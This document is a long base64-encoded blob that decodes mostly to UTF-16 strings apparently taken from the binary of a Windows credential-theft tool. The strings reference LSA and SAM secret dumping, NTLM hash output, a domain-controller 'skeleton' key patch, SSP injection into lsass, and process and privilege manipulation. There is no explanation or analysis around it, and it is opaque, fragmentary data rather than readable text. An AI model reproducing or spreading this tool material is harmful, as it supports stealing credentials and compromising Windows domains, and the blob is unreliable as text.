XwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABBAFIAQwA0ACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAYQBtAEsAZQB5ACAAOwAgAHAAcgBlACAALQAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABGACAASwBPAAAAUABvAGwAaQBjAHkAAAAAAFAAbwBsAFIAZQB2AGkAcwBpAG8AbgAAAAoAUABvAGwAaQBjAHkAIABzAHUAYgBzAHkAcwB0AGUAbQAgAGkAcwAgADoAIAAlAGgAdQAuACUAaAB1AAoAAABQAG8AbABFAEsATABpAHMAdAAAAFAAbwBsAFMAZQBjAHIAZQB0AEUAbgBjAHIAeQBwAHQAaQBvAG4ASwBlAHkAAAAAAEwAUwBBACAASwBlAHkAKABzACkAIAA6ACAAJQB1ACwAIABkAGUAZgBhAHUAbAB0ACAAAAAgACAAWwAlADAAMgB1AF0AIAAAACAAAABMAFMAQQAgAEsAZQB5ACAAOgAgAAAAAABTAGUAYwByAGUAdABzAAAAcwBlAHIAdgBpAGMAZQBzAAAAAAAKAFMAZQBjAHIAZQB0ACAAIAA6ACAAJQBzAAAAXwBTAEMAXwAAAAAAQwB1AHIAcgBWAGEAbAAAAAoAYwB1AHIALwAAAE8AbABkAFYAYQBsAAAAAAAKAG8AbABkAC8AAABTAGUAYwByAGUAdABzAFwATgBMACQASwBNAFwAQwB1AHIAcgBWAGEAbAAAAEMAYQBjAGgAZQAAAE4ATAAkAEkAdABlAHIAYQB0AGkAbwBuAEMAbwB1AG4AdAAAACoAIABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAIABpAHMAIAAlAHUALAAgACUAdQAgAHIAZQBhAGwAIABpAHQAZQByAGEAdABpAG8AbgAoAHMAKQAKAAAAAAAqACAARABDAEMAMQAgAG0AbwBkAGUAIAAhAAoAAAAAAAAAAAAqACAASQB0AGUAcgBhAHQAaQBvAG4AIABpAHMAIABzAGUAdAAgAHQAbwAgAGQAZQBmAGEAdQBsAHQAIAAoADEAMAAyADQAMAApAAoAAAAAAE4ATAAkAEMAbwBuAHQAcgBvAGwAAAAAAAoAWwAlAHMAIAAtACAAAABdAAoAUgBJAEQAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AE4ATABLAE0AUwBlAGMAcgBlAHQAQQBuAGQAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAUgBDADQAIAA6ACAAMAB4ACUAMAA4AHgACgAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUALgAqAHMAXAAlAC4AKgBzAAoAAAAAAE0AcwBDAGEAYwBoAGUAVgAlAGMAIAA6ACAAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAAAAAAIAAvACAAcwBlAHIAdgBpAGMAZQAgACcAJQBzACcAIAB3AGkAdABoACAAdQBzAGUAcgBuAGEAbQBlACAAOgAgACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAGUAYwByAGUAdAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAUwBlAGMAcgBlAHQAIAB2AGEAbAB1AGUAIABLAE8ACgAAACQATQBBAEMASABJAE4ARQAuAEEAQwBDAAAAAABOAFQATABNADoAAAAvAAAAdABlAHgAdAA6ACAAJQB3AFoAAABoAGUAeAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAF8AYQBlAHMAMgA1ADYAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAAbgBhAG0AZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAUwBhAG0AUwBzAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AZwBlAHQASABhAG4AZABsAGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgBVAHMAZQByACAAOgAgACUAdwBaAAoAAABMAE0AIAAgACAAOgAgAAAACgBOAFQATABNACAAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQBfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUQB1AGUAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgBVAHMAZQByACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAB1AG4AawBuAG8AdwBuAAAACgAgACoAIAAlAHMACgAAACAAIAAgACAATABNACAAIAAgADoAIAAAAAoAIAAgACAAIABOAFQATABNACAAOgAgAAAAAAAgACAAIAAgACUALgAqAHMACgAAACAAIAAgACAAJQAwADIAdQAgACAAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKAAAAAABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAFMAZQByAHYAaQBjAGUAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABPAGwAZABlAHIAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgACUAcwAKAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbgBnAAAAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAYwBvAG4AbgBlAGMAdABlAGQAAABuAG8AdABfAHIAZQBhAGQAeQAAAHMAawBlAGwAZQB0AG8AbgAAAAAAbQBlAG0AcwBzAHAAAAAAAHcAaQBmAGkAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAABkAGUAdABvAHUAcgBzAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAdABhAHMAawBtAGcAcgAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAYwBtAGQAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBzAGMAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBnAGUAbgBlAHIAaQBjAF8AbgBvAGcAcABvAF8AcABhAHQAYwBoACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHgAZQAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAHIAZQBhAGwAIABhAHMAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAExvY2FsQWxsb2MAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAWwBSAEMANABdACAAaQBuAGkAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIAByAGUAbQBvAHQAZQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGcAcgBvAHUAcAAAAGwAbwBjAGEAbABnAHIAbwB1AHAAAAAAAG4AZQB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEcAcgBvAHUAcABzAEYAbwByAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAKACAAfABgACUALQA1AHUAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABkAGUAYgB1AGcAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAFAAcgBpAHYAaQBsAGUAZwBlACAAJwAlAHUAJwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAUgBlAHMAdQBtAGUAIABhACAAcAByAG8AYwBlAHMAcwAAAAAAcgBlAHMAdQBtAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAYQByAHQAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAABlAHgAcABvAHIAdABzAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAcABpAGQAIAAoAC8AcABpAGQAOgAxADIAMwApACAAaQBzACAAbQBpAHMAcwBpAG4AZwAAACUAdQAJACUAdwBaAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAA